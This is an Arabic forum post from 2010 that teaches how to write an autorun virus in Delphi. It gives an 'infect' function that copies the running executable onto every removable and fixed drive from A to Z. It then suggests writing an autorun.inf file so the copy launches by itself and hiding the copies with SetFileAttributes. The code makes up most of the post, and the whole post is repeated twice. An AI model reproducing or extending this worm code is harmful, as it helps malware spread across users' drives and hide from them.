php3man
29-05-2010, 04:13 PM
بسم الله الرحمن الرحيم
السلام عليكم ورحمه الله وبركاته
فيروسات autorun كيف تصيب الديسك والفلاش ميموري
function infect(drive : string):string;
var app : string;
begin
app := application.ExeName;
copyfile(Pchar(app),Pchar(drive + ':\'+application.Title+'.exe'),true);
end;
داله بسيطه لنسخ الملف الي drive
عرفنا متغير app علي أساس انه string
في السطر الاول
app := application.ExeName;
مسار الملف التنفيذي
داله copyfile
لنسخ الملف التنفيذي الي المسارات اللي نحددها بالاجراء الاتي
procedure flash;
var flash : Char;
begin
For flash := 'A' TO 'Z' Do
case GetDriveType(Pchar(Flash + ':\')) of
2:
infect(flash);
3:
infect(flash);
end;
end;
اجراء بسيط بالداله
GetDriveType
لمعرفه نوع الديسك اذا كان فلاش ميموري يكون رقم 2
يكون دريف عادي fixed يكون رقم تلاته وعرفناها case
اوستدعينا الداله infect للاجراء flash
نضع زر نكتب فيه
flash;
النتيجه ينسخ الملف الي جميع الدريفات حتي الميميوري
يمكن تطوره شوي من داله
WritePrivateProfileString
تضع ملف autorun تشغيل تلقائي
يمكن تطوره اكتر وباضافة داله
SetFileAttributes
لتخفي الملفات الناتجه
السلام عليكم ورحمه الله وبركاته
فيروسات autorun كيف تصيب الديسك والفلاش ميموري
function infect(drive : string):string;
var app : string;
begin
app := application.ExeName;
copyfile(Pchar(app),Pchar(drive + ':\'+application.Title+'.exe'),true);
end;
داله بسيطه لنسخ الملف الي drive
عرفنا متغير app علي أساس انه string
في السطر الاول
app := application.ExeName;
مسار الملف التنفيذي
داله copyfile
لنسخ الملف التنفيذي الي المسارات اللي نحددها بالاجراء الاتي
procedure flash;
var flash : Char;
begin
For flash := 'A' TO 'Z' Do
case GetDriveType(Pchar(Flash + ':\')) of
2:
infect(flash);
3:
infect(flash);
end;
end;
اجراء بسيط بالداله
GetDriveType
لمعرفه نوع الديسك اذا كان فلاش ميموري يكون رقم 2
يكون دريف عادي fixed يكون رقم تلاته وعرفناها case
اوستدعينا الداله infect للاجراء flash
نضع زر نكتب فيه
flash;
النتيجه ينسخ الملف الي جميع الدريفات حتي الميميوري
يمكن تطوره شوي من داله
WritePrivateProfileString
تضع ملف autorun تشغيل تلقائي
يمكن تطوره اكتر وباضافة داله
SetFileAttributes
لتخفي الملفات الناتجه